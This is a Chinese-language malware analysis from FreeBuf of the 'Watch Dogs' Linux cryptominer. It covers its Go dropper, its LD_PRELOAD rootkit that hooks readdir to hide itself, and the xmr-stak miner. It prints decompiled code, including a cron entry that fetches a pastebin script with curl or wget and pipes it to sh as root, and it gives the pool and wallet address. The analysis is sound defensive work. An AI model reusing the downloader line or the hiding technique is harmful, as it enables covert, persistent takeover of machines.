Watch Dogs挖礦病毒分析
*本文作者:鄭斯碟@默安科技,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
昨晚針對最近兩天出現的挖礦病毒進行了分析,由於太困,沒有完善好paper就睡了,沒想到第二天有人就已經發了一篇比較完善的分析報告了,一口老血差點吐了。不過,看了下他的分析報告,和我找的點基本差不多,不過其中有一些他沒有說到,比如如何找到錢包地址,以及針對挖礦程式ksoftirqds的分析,他也沒有說明,所以我在這裡給一下我的分析過程。
0×1 Watchdogs程式
首先分析下watchdog程式。
由於程式使用golang編寫的ida無法識別其中的符號資訊,需要手動修復一下,可使用以下idapython指令碼進行修復,修復後可還原一部分方法名。便於之後的分析。
指令碼地址: https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro
通過指令碼還原符號,重新命名了 3946 個方法。
下面分析主函式 main.main():
Main 函式中主要做的工作就是:
1. 將watchdogs這個程序設定為系統服務 2. 將libioset寫入到/etc/ld.so.preload中 3. 將寫入定時任務,遠端下載挖礦檔案 4. 啟動ksoftirqds程序進行挖礦操作 5. 更新程式 6. 刪除一些檔案(watchdogs&ksoftirqds&config.json)
下面是詳細分析。
主要操作預覽:
這裡是將watchdogs新增為系統服務:
這裡大概的意思是將libioset.so寫入奧/etc/local/ld.so.preload:
這裡是寫入配置資訊到檔案/tmp/config.json中:
這裡是寫入定時任務:
通過檢視計劃任務發現。
每15分鐘執行一次下載操作:
通過網頁訪問這個url發現其是一段base64加密的資料。
Base64解密後如下。
這裡是檢查更新:
通過tcpdump進行協議抓包分析,發現有挖礦行為:
通過htop進行程序分析,發現會啟動以下的程序,cpu佔用率極高:
通過使用inotify監視bin目錄,發現其刪除了一個netstat命令:
通過分析可知watchdogs可知程式執行過程中會釋放watchdogs,config.json及ksoftirqds到tmp目錄下。
下面我們來細細的分析下釋放出來的挖礦木馬程式ksoftirqds。
在watchdogs的中,對watchdos,config.json,ksoftrqds進行了刪除操作:
另外為了隱藏程序資訊及相關的檔案資訊,該病毒也對對一些libc.so中的函式進行了重寫,如readdir函式。
主要工作:
1、載入動態連結庫libc.so
2、old_readdir =(__int64 (__fastcall *)(_QWORD))dlsym(libc, “readdir”);// 載入libc.so中的readdir函式,開啟一個目錄。
這裡有一個do while statement:
do { v4 = old_readdir(a1);// 使用readdir開啟一個目錄 if ( v4 ) { if ( (unsigned int)get_dir_name(a1, &s1, 0x100uLL)// 呼叫getdirname && !strcmp(&s1, "/proc") && (unsigned int)get_process_name(v4 + 19, &v3) && !strcmp(&v3, "ksoftirqds") ) { return 0LL; } if ( !strcmp(&v3, "watchdogs") ) return 0LL; } if ( v4 && !strcmp((const char *)(v4 + 19), ".") ) strcmp((const char *)(v4 + 19), "/"); } while ( v4 && (strstr((const char *)(v4 + 19), "ksoftirqds")// 判斷ksoftirqds是否是v4+19這個地址中的字串的子集 || strstr((const char *)(v4 + 19),"ld.so.preload") || strstr((const char *)(v4 + 19), "libioset.so")) );
大致的意思是:
如果存在v4+19 地址上存在ksoftirqds,ld.so.preload,libioset.so,則檢查指定目錄:
是否存在ld.so.preload檔案 是否存在ksoftirqds的資訊 是否存在watchdog的資訊
這裡是重寫了readir函式,作用是,如果程式使用了該函式執行後,結果中包含惡意應用名稱及路徑,則不返回相應結果,起到隱藏作用。
另外程式也對rmdir函式進行了重寫,防止惡意程式的檔案被刪除。
這裡是重寫的函式列表:
其中作者不僅在access中做了隱藏操作,進行了寫入計劃任務的操作:
這裡是寫入定時任務:
s =fopen("/etc/cron.d/root", "w+");
if( s )
{
fwrite(
"*/10 * * * * root (curl -fsSL https://pastebin.com/raw/sByq0rym ||wget -q -O- https://pastebin.com/raw/sByq0rym )|sh\n##",
1uLL,
0x75uLL,
s);
fclose(s);
}
0×2 針對ksoftirqds的分析(挖礦)
如果我們想分析ksoftirqds的話,需要將tmp目錄使用chattr +a /tmp命令鎖住,這樣可以防止這些檔案被刪除。
通過分析發現,這個木馬檔案也是用upx加殼的,我們使用upx工具執行:upx-d 即可脫殼。
下面使用ida進行原始碼分析。
首先使用ida的字串檢索功能,找到如下礦池地址:
搜尋xmr.f2pool.com,跟入並尋找引用位置。
找到了錢包錢包地址:
它是在do_guided_pool_config這個函式中的,這裡做礦池配置。
Main()->do_guided_pool_config()
通過分析該木馬使用的是一款名叫xmr-stak的挖礦程式:
它的專案地址地址在 https://github.com/fireice-uk/xmr-stak 。
物件的github專案的特徵位置:
這款挖礦系統除了能夠挖掘門羅幣,還能夠挖掘以下的虛擬貨幣:
watchdogs 中寫入定時任務,釋放ksoftirqds進行挖礦,並每個15分鐘檢查更新。
ksofttirqds 程式主要是使用xmr-stak挖礦程式挖掘門羅幣。
其礦池為:tcp://xmr.f2pool.com:13531
錢包地址為:46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.tenx
*本文作者:鄭斯碟@默安科技,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。